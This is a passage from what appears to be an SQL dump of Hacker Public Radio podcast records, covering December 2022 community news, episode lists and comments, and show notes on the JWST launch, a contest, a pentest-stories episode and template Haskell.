Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3743\" target=\"_blank\">3743</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-12-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3743\" target=\"_blank\">HPR News</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3744\" target=\"_blank\">3744</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-12-08</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3744\" target=\"_blank\">Advent of code Day 1 - 4</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0382.html\" target=\"_blank\">Daniel Persson</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3745\" target=\"_blank\">3745</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-12-09</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3745\" target=\"_blank\">Pinecil walkthrough</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0318.html\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3746\" target=\"_blank\">3746</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-12-12</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3746\" target=\"_blank\">Cpuinfo</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0078.html\" target=\"_blank\">Klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3747\" target=\"_blank\">3747</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-12-13</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3747\" target=\"_blank\">Twitter and Dinner with the Humans</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0377.html\" target=\"_blank\">Zen_Floater2</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3748\" target=\"_blank\">3748</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-12-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3748\" target=\"_blank\">The Squirrels gift to HPR</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0377.html\" target=\"_blank\">Zen_Floater2</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3749\" target=\"_blank\">3749</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-12-15</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3749\" target=\"_blank\">Making your own parts</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0194.html\" target=\"_blank\">Deltaray</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3750\" target=\"_blank\">3750</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-12-16</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3750\" target=\"_blank\">Southern Arizona</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3751\" target=\"_blank\">3751</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-12-19</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3751\" target=\"_blank\">Using Noisetorch</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0194.html\" target=\"_blank\">Deltaray</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3752\" target=\"_blank\">3752</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-12-20</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3752\" target=\"_blank\">It only took me 2 years to record using some \'new\' hardware</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0243.html\" target=\"_blank\">Jezra</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3753\" target=\"_blank\">3753</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-12-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3753\" target=\"_blank\">Some thoughts on \"Numeronyms\"</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0225.html\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3754\" target=\"_blank\">3754</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-12-22</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3754\" target=\"_blank\">GOD probably will use a Chromebook</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0377.html\" target=\"_blank\">Zen_Floater2</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3755\" target=\"_blank\">3755</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-12-23</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3755\" target=\"_blank\">Synergy over ssh</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0030.html\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3756\" target=\"_blank\">3756</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-12-26</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3756\" target=\"_blank\">Verify yourself on Mastodon with PGP and Keyoxide</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0078.html\" target=\"_blank\">Klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3757\" target=\"_blank\">3757</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-12-27</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3757\" target=\"_blank\">Career changes.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3758\" target=\"_blank\">3758</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-12-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3758\" target=\"_blank\">First sysadmin job - war story</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0342.html\" target=\"_blank\">norrist</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3759\" target=\"_blank\">3759</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-12-29</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3759\" target=\"_blank\">Chatting with dnt.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3760\" target=\"_blank\">3760</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-12-30</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3760\" target=\"_blank\">Bookwyrm</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 14 comments in total.</p>\n<h3>Past shows</h3>\n<p>There is 1 comment on\n1 previous show:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3737#comments\" target=\"_blank\">hpr3737</a></strong>\n(2022-11-29) \"<em>Review of KOBO Libra H20 e-reader</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0293.html\" target=\"_blank\">Rho`n</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3737#1\" target=\"_blank\">Comment 1</a>:\nAaron Cocker on 2022-12-05:\n\"Kobo e-readers\"</li></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 13 comments on 8 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3740#comments\" target=\"_blank\">hpr3740</a></strong>\n(2022-12-02) \"<em>Batch File Variables; Nested Batch Files</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3740#1\" target=\"_blank\">Comment 1</a>:\nHipernike on 2022-09-01:\n\"Forkbomb\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3740#2\" target=\"_blank\">Comment 2</a>:\nKevin O&#39;Brien on 2022-09-01:\n\"You are most welcome\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3741#comments\" target=\"_blank\">hpr3741</a></strong>\n(2022-12-05) \"<em>HPR Community News for November 2022</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0159.html\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3741#1\" target=\"_blank\">Comment 1</a>:\nZen_floater2 on 2022-12-05:\n\"Freedom VS Free\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3744#comments\" target=\"_blank\">hpr3744</a></strong>\n(2022-12-08) \"<em>Advent of code Day 1 - 4</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0382.html\" target=\"_blank\">Daniel Persson</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3744#1\" target=\"_blank\">Comment 1</a>:\nTrey on 2022-12-08:\n\"Fun with Advent of Code (AoC)\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3746#comments\" target=\"_blank\">hpr3746</a></strong>\n(2022-12-12) \"<em>Cpuinfo</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0078.html\" target=\"_blank\">Klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3746#1\" target=\"_blank\">Comment 1</a>:\nzloster on 2022-12-12:\n\"A tool with very detailed information about the cache configuration of the CPUs\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3750#comments\" target=\"_blank\">hpr3750</a></strong>\n(2022-12-16) \"<em>Southern Arizona</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3750#1\" target=\"_blank\">Comment 1</a>:\nWindigo on 2022-12-17:\n\"Ajo\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3750#2\" target=\"_blank\">Comment 2</a>:\nbrian-in-ohio on 2022-12-17:\n\"history\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3754#comments\" target=\"_blank\">hpr3754</a></strong>\n(2022-12-22) \"<em>GOD probably will use a Chromebook</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0377.html\" target=\"_blank\">Zen_Floater2</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3754#1\" target=\"_blank\">Comment 1</a>:\nBill Dietrich on 2022-12-24:\n\"Twitter\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3756#comments\" target=\"_blank\">hpr3756</a></strong>\n(2022-12-26) \"<em>Verify yourself on Mastodon with PGP and Keyoxide</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0078.html\" target=\"_blank\">Klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3756#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2022-12-27:\n\"I have done this\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3756#2\" target=\"_blank\">Comment 2</a>:\nnorrist on 2022-12-27:\n\"Me too\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3757#comments\" target=\"_blank\">hpr3757</a></strong>\n(2022-12-27) \"<em>Career changes.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3757#1\" target=\"_blank\">Comment 1</a>:\nTrey on 2022-12-27:\n\"Thanks for sharing.\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3757#2\" target=\"_blank\">Comment 2</a>:\njanedoc on 2022-12-27:\n\"Thanks for an informative show\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3757#3\" target=\"_blank\">Comment 3</a>:\nbinrc on 2022-12-28:\n\"binrc@protonmail.com\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-December/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-December/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"older-hpr-shows-on-archive.org-phase-2\">Older HPR shows on\narchive.org, phase 2</h3>\n<p>Now that all shows from number 1 to the latest have been uploaded to\nthe Internet Archive there are other tasks to perform. We are\nreprocessing and re-uploading shows in the range 871 to 2429 as\nexplained in the Community News show notes released in <a\nhref=\"http://hackerpublicradio.org/eps.php?id=3586#older-hpr-shows-on-archive.org-phase-2\">May\n2022</a>. We are keeping a running total here to show progress:</p>\n<table>\n<tr>\n<th>\nMonth\n</th>\n<th>\nMonth count\n</th>\n<th>\nRunning total\n</th>\n<th>\nRemainder\n</th>\n</tr>\n<tr>\n<td>\n2022-04\n</td>\n<td>\n130\n</td>\n<td>\n130\n</td>\n<td>\n1429\n</td>\n</tr>\n<tr>\n<td>\n2022-05\n</td>\n<td>\n140\n</td>\n<td>\n270\n</td>\n<td>\n1289\n</td>\n</tr>\n<tr>\n<td>\n2022-06\n</td>\n<td>\n150\n</td>\n<td>\n420\n</td>\n<td>\n1139\n</td>\n</tr>\n<tr>\n<td>\n2022-07\n</td>\n<td>\n155\n</td>\n<td>\n575\n</td>\n<td>\n984\n</td>\n</tr>\n<tr>\n<td>\n2022-08\n</td>\n<td>\n155\n</td>\n<td>\n730\n</td>\n<td>\n829\n</td>\n</tr>\n<tr>\n<td>\n2022-09\n</td>\n<td>\n150\n</td>\n<td>\n880\n</td>\n<td>\n679\n</td>\n</tr>\n<tr>\n<td>\n2022-10\n</td>\n<td>\n155\n</td>\n<td>\n1035\n</td>\n<td>\n524\n</td>\n</tr>\n<tr>\n<td>\n2022-11\n</td>\n<td>\n230\n</td>\n<td>\n1265\n</td>\n<td>\n294\n</td>\n</tr>\n<tr>\n<td>\n2022-12\n</td>\n<td>\n294\n</td>\n<td>\n1559\n</td>\n<td>\n0\n</td>\n</tr>\n</table>\n<p>\n<small><small>Table updated: 2022-12-29 20:54:45</small></small>\n</p>\n<h3>\nThanks to all 51 HPR contributors in 2022!\n</h3>\n<p>\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/correspondents/0198.html\">Ahuka</a>,\n<a href=\"https://hackerpublicradio.org/correspondents/0268.html\">Andrew\nConway</a>,\n<a href=\"https://hackerpublicradio.org/correspondents/0318.html\">Archer72</a>,\n<a href=\"https://hackerpublicradio.org/correspondents/0300.html\">b-yeezi</a>,\n<a href=\"https://hackerpublicradio.org/correspondents/0246.html\">Beeza</a>,\n<a href=\"https://hackerpublicradio.org/correspondents/0288.html\">beni</a>,\n<a href=\"https://hackerpublicradio.org/correspondents/0406.html\">binrc</a>,\n<a href=\"https://hackerpublicradio.org/correspondents/0396.html\">BlacKernel</a>,\n<a href=\"https://hackerpublicradio.org/correspondents/0326.html\">Brian\nin Ohio</a>,\n</li>\n<li>\n<a href=\"https://hackerpublicradio.org/correspondents/0380.html\">Carl</a>,\n<a href=\"https://hackerpublicradio.org/correspondents/0413.html\">CCHits.net\nTeam</a>,\n<a href=\"https://hackerpublicradio.org/correspondents/0407.html\">Celeste</a>,\n<a href=\"https://hackerpublicradio.org/correspondents/0152.html\">Claudio\nMiranda</a>,\n<a href=\"https://hackerpublicradio.org/correspondents/0382.html\">Daniel\nPersson</a>,\n<a href=\"https://hackerpublicradio.org/correspondents/0225.html\">Dave\nMorriss</a>,\n<a href=\"https://hackerpublicradio.org/correspondents/0194.html\">Deltaray</a>,\n<a href=\"https://hackerpublicradio.org/correspondents/0399.html\">dnt</a>,\n<a href=\"https://hackerpublicradio.org/correspondents/0309.html\">folky</a>,\n</li>\n<li>\n<a href=\"https://hackerpublicradio.org/correspondents/0410.html\">Hipernike</a>,\n<a href=\"https://hackerpublicradio.org/correspondents/0269.html\">Honkeymagoo</a>,\n<a href=\"https://hackerpublicradio.org/correspondents/0159.html\">HPR\nVolunteers</a>,\n<a href=\"https://hackerpublicradio.org/correspondents/0369.html\">Jeroen\nBaten</a>,\n<a href=\"https://hackerpublicradio.org/correspondents/0243.html\">Jezra</a>,\n<a href=\"https://hackerpublicradio.org/correspondents/0129.html\">JWP</a>,\n<a href=\"https://hackerpublicradio.org/correspondents/0030.html\">Ken\nFallon</a>,\n<a href=\"https://hackerpublicradio.org/correspondents/0414.html\">Kinghezy</a>,\n<a href=\"https://hackerpublicradio.org/correspondents/0078.html\">Klaatu</a>,\n</li>\n<li>\n<a href=\"https://hackerpublicradio.org/correspondents/0111.html\">knightwise</a>,\n<a href=\"https://hackerpublicradio.org/correspondents/0403.html\">Lee</a>,\n<a href=\"https://hackerpublicradio.org/correspondents/0405.html\">Lurking\nPrion</a>,\n<a href=\"https://hackerpublicradio.org/correspondents/0412.html\">m0dese7en</a>,\n<a href=\"https://hackerpublicradio.org/correspondents/0401.html\">Mechatroniac</a>,\n<a href=\"https://hackerpublicradio.org/correspondents/0384.html\">monochromec</a>,\n<a href=\"https://hackerpublicradio.org/correspondents/0201.html\">MrX</a>,\n<a href=\"https://hackerpublicradio.org/correspondents/0342.html\">norrist</a>,\n<a href=\"https://hackerpublicradio.org/correspondents/0398.html\">one_of_spoons</a>,\n</li>\n<li>\n<a href=\"https://hackerpublicradio.org/correspondents/0036.html\">operat0r</a>,\n<a href=\"https://hackerpublicradio.org/correspondents/0411.html\">Paul\nJ</a>,\n<a href=\"https://hackerpublicradio.org/correspondents/0128.html\">pokey</a>,\n<a href=\"https://hackerpublicradio.org/correspondents/0293.html\">Rho`n</a>,\n<a href=\"https://hackerpublicradio.org/correspondents/0404.html\">Sarah</a>,\n<a href=\"https://hackerpublicradio.org/correspondents/0391.html\">Some\nGuy On The Internet</a>,\n<a href=\"https://hackerpublicradio.org/correspondents/0408.html\">Stache_AF</a>,\n<a href=\"https://hackerpublicradio.org/correspondents/0402.html\">takov751</a>,\n<a href=\"https://hackerpublicradio.org/correspondents/0392.html\">timttmy</a>,\n</li>\n<li>\n<a href=\"https://hackerpublicradio.org/correspondents/0338.html\">Tony\nHughes AKA TonyH1212</a>,\n<a href=\"https://hackerpublicradio.org/correspondents/0394.html\">Trey</a>,\n<a href=\"https://hackerpublicradio.org/correspondents/0389.html\">TrumpetJohn</a>,\n<a href=\"https://hackerpublicradio.org/correspondents/0364.html\">Tuula</a>,\n<a href=\"https://hackerpublicradio.org/correspondents/0196.html\">Windigo</a>,\n<a href=\"https://hackerpublicradio.org/correspondents/0377.html\">Zen_Floater2</a>.\n</li>\n</ul>\n</p>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3504,'2022-01-06','James Webb Space Telescope',2718,'Andrew and Dave watch the launch of the JWST','<h2 id=\"overview\">Overview</h2>\r\n<p>On Christmas Day 2021 at 12:20 UTC the James Webb Space Telescope was launched. This is the largest telescope ever sent into space and the project has been delayed for many years. The entire astronomical community was very nervous about the launch and about the phase that will follow as the telescope is set up for use.</p>\r\n<p><a href=\"https://hackerpublicradio.org/correspondents/0268.html\" title=\"Andrew Conway\">Andrew Conway</a> was previously a professional Astronomer, and <a href=\"https://hackerpublicradio.org/correspondents/0225.html\" title=\"Dave Morriss\">Dave</a> is very interested in the subject as an amateur. They got together on Mumble to witness the launch, and the dialogue was recorded and is presented here.</p>\r\n<h2 id=\"the-jwst\">The JWST</h2>\r\n<p>Quote from <a href=\"https://en.wikipedia.org/wiki/James_Webb_Space_Telescope\" title=\"James Webb Space Telescope\">Wikipedia</a> (a page that is being updated as the project proceeds):</p>\r\n<blockquote>\r\n<p>The James Webb Space Telescope (JWST) is a space telescope developed by NASA with contributions from the European Space Agency (ESA), and the Canadian Space Agency (CSA). The telescope is named after James E. Webb, who was the administrator of NASA from 1961 to 1968 and played an integral role in the Apollo program. It is intended to succeed the Hubble Space Telescope as NASAs flagship mission in astrophysics. JWST was launched 25 December 2021 on Ariane flight VA256. It is designed to provide improved infrared resolution and sensitivity over Hubble, and will enable a broad range of investigations across the fields of astronomy and cosmology, including observations of some of the most distant events and objects in the Universe such as the formation of the first galaxies, and allowing detailed atmospheric characterization of potentially habitable exoplanets.</p>\r\n<p>JWSTs primary mirror, the Optical Telescope Element, consists of 18 hexagonal mirror segments made of gold-plated beryllium which combine to create a 6.5 meter (21 ft 4 inch) diameter mirror considerably larger than Hubbles 2.4 m (7.9 ft) mirror. Unlike Hubble, which observes in the near ultraviolet, visible, and near infrared (0.11.0 μm) spectra, JWST will observe in a lower frequency range, from long-wavelength visible light (red) through mid-infrared (0.628.3 μm). This will enable it to observe high-redshift objects that are too old and too distant for Hubble. The telescope must be kept very cold to observe in the infrared without interference, so it will be deployed in space near the SunEarth L2 Lagrange point, about 1.5 million kilometers (930,000 mi) from Earth. A large sunshield made of silicon- and aluminum-coated Kapton will keep its mirror and instruments below 50 K (223 °C; 370 °F).</p>\r\n<p>The NASA Goddard Space Flight Center (GSFC) in Maryland managed the development and the Space Telescope Science Institute is operating JWST. The prime contractor was Northrop Grumman.</p>\r\n<p>Development began in 1996 for a launch that was initially planned for 2007 with a US$500 million budget. There were many delays and cost overruns, including a major redesign in 2005, a ripped sunshield during a practice deployment, a recommendation from an independent review board, the COVID-19 pandemic, issues with the Ariane 5 rocket and the telescope itself, and communications issues between the telescope and the launch vehicle. Concerns among the involved scientists and engineers about the launch and deployment of the telescope have been well-described.</p>\r\n<p>Construction was completed in late 2016, when an extensive testing phase began. JWST was launched 12:20 UTC 25 December 2021 by an Ariane 5 launch vehicle from Kourou, French Guiana and was released from the upper stage 27 minutes later. The telescope was confirmed to be receiving power, and as of December 2021 is traveling to its target destination.</p>\r\n</blockquote>\r\n<h2 id=\"witnessing-the-launch\">Witnessing the launch</h2>\r\n<p>Andrew and Dave came up with the idea of watching the launch and talking about it on Mumble. Although this was not originally planned, the audio was recorded, and is included here.</p>\r\n<p><small>Note: Daves audio had a background hum which has been reduced a little with Audacitys <em>notch filter</em>. Hopefully its not too distracting.</small></p>\r\n<p>We were puzzled that the altitude of the final stage of the rocket plus telescope decreased during launch. See the link below to a YouTube episode from Anton Petrov explaining what was going on.</p>\r\n<p>In the context of orbital mechanics, Dave spoke of another mission which is heading to Mercury but passing by inner planets to adjust speed. The name couldnt be recalled at the time, but it was <a href=\"https://en.wikipedia.org/wiki/BepiColombo\" title=\"BeliColombo mission to Mercury\">BepiColombo</a> which is taking a 7-year path to its destination.</p>\r\n<h2 id=\"deployment-after-launch\">Deployment after launch</h2>\r\n<p>At the time of preparing these notes (2022-01-02) the JWST is en route to the (Sun-Earth) <a href=\"https://en.wikipedia.org/wiki/Lagrange_point\" title=\"Lagrange point\">L2</a> point, about 1 million miles (1.5 million kilometres) from Earth. Along the way it is preparing itself for use, deploying the features which were folded up or stowed away when it was being launched. See the <a href=\"https://www.jwst.nasa.gov/content/webbLaunch/deploymentExplorer.html\" title=\"JWST Deployment Explorer\"><em>deployment explorer</em></a> site for details of what is happening.</p>\r\n<p>There are enormous amounts of information about this project on the web, some examples of which are linked below. Searching with your favourite search engine will certainly reveal more.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>Wikipedia article on the <a href=\"https://en.wikipedia.org/wiki/James_Webb_Space_Telescope\">James Webb Space Telescope</a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=7nT7JGZMbtM\">James Webb Space Telescope Launch — Official NASA Broadcast</a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=_abdV-HtEJQ\">YouTube video explaining why the JWST lost altitude during launch</a></li>\r\n<li>Wikipedia article on <a href=\"https://en.wikipedia.org/wiki/Lagrange_point\">Lagrange points</a></li>\r\n<li>NASA <a href=\"https://www.jwst.nasa.gov/content/webbLaunch/deploymentExplorer.html\">JWST Deployment Explorer</a></li>\r\n<li>Wikipedia article on <a href=\"https://en.wikipedia.org/wiki/BepiColombo\">BepiColombo mission</a></li>\r\n</ul>\r\n',225,0,1,'CC-BY-SA','astronomy,telescope,rocket launch,JWST,NASA,ESA,CSA',0,0,1),
(3506,'2022-01-10','HPR CONTEST 2022 01',119,'I give away 50$ prize !','<h3 id=\"upload-today\">Upload today!</h3>\r\n<p><a href=\"https://hackerpublicradio.org/calendar.php\" class=\"uri\">https://hackerpublicradio.org/calendar.php</a></p>\r\n<h3 id=\"rules\">RULES:</h3>\r\n<ul>\r\n<li>only new host or existing host interviewing a 3rd party</li>\r\n<li>I pick the winner</li>\r\n<li>don\'t abuse the system to win the prize ;P</li>\r\n</ul>\r\n',36,0,1,'CC-BY-SA','contest',0,0,1),
(3529,'2022-02-10','Linux Inlaws S01E48: Year Two of the Five Year Plan',3127,'The two ageing heroes discuss the past year in review','<p>Right into the third year of the first five-year plan our two ageing heroes\r\ndiscuss the past year in review (blatantly stealing this concept from other\r\npopular podcasts), focussing on the hotter episodes of second year and\r\nprogress with increasing the number of active listeners from two to five and\r\nbeyond. Also, major fuck-ups and lessons learned from them are revealed\r\nincluding some ranting about badly designed and implemented software never\r\nmind documentation.</p>\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>Shameless self-promoting link to the Redis presentation at the 2021 MiniDebConf in Regensburg (among other things): <a href=\"https://meetings-archive.debian.net/pub/debian-meetings/2021/MiniDebConf-Regensburg\" target=_blank>https://meetings-archive.debian.net/pub/debian-meetings/2021/MiniDebConf-Regensburg</a></li>\r\n<li>Grumpy Old Coders: <a href=\"https://grumpy-old-coders.org\" target=_blank>https://grumpy-old-coders.org</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','2021, review, communism, five year plan, Grumpy Old Coders, MiniDebConf',0,0,1),
(3514,'2022-01-20','Hacking Stories: Soft Drink',1270,'I talk about old pentest stories','<p>Mass unlock/powershell</p>\r\n<p>Link to <a href=\"https://github.com/freeload101/SCRIPTS/blob/ab7f96678e488f7ac6209ac45d4cfe8ca090920b/Windows_Powershell_ps/NOTES.ps1#L175\">NOTES.ps1</a></p>\r\n',36,0,1,'CC-BY-SA','hacking stories',0,0,1),
(3535,'2022-02-18','template Haskell',2849,'turturto talks how she\'s using template Haskell to cut down amount of code she writes','<p>There\'s certain amount of boilerplate code in my game that keeps repeating time after time. I can\'t quite remove it, but I can hide it with template haskell.</p>\r\n<h2 id=\"newtype-recap\">newtype recap</h2>\r\n<p>I\'ll be using <code>PlanetName</code> as an example throughout the show. <code>newtype</code> is Haskell\'s way of defining a new type, that wraps around an old type. This lets us to give better meaning to the wrapped type. Instead of talking about <code>Text</code>, we can talk about <code>PlanetName</code> and we won\'t accidentally mix it up with <code>StarName</code> or <code>ContentsOfAlexandrianLibrary</code>. It comes with no performance cost at all, as the wrapping is removed during the compilation.</p>\r\n<p>Below is how our <code>PlanetName</code> is defined:</p>\r\n<pre><code>newtype PlanetName\r\n = MkPlanetName {_unPlanetName :: Text}\r\n deriving (Show, Read, Eq)\r\n</code></pre>\r\n<p>It has:</p>\r\n<ul>\r\n<li>type constructor <code>PlanetName</code></li>\r\n<li>data constructor <code>MkPlanetName</code></li>\r\n<li>single field <code>_unPlanetName</code></li>\r\n<li>type for that field <code>Text</code></li>\r\n<li>deriving clause, telling compiler to automatically generate <code>Show</code>, <code>Read</code> and <code>Eq</code> instances</li>\r\n</ul>\r\n<p>If it were wrapping a <code>Integer</code>, we would add 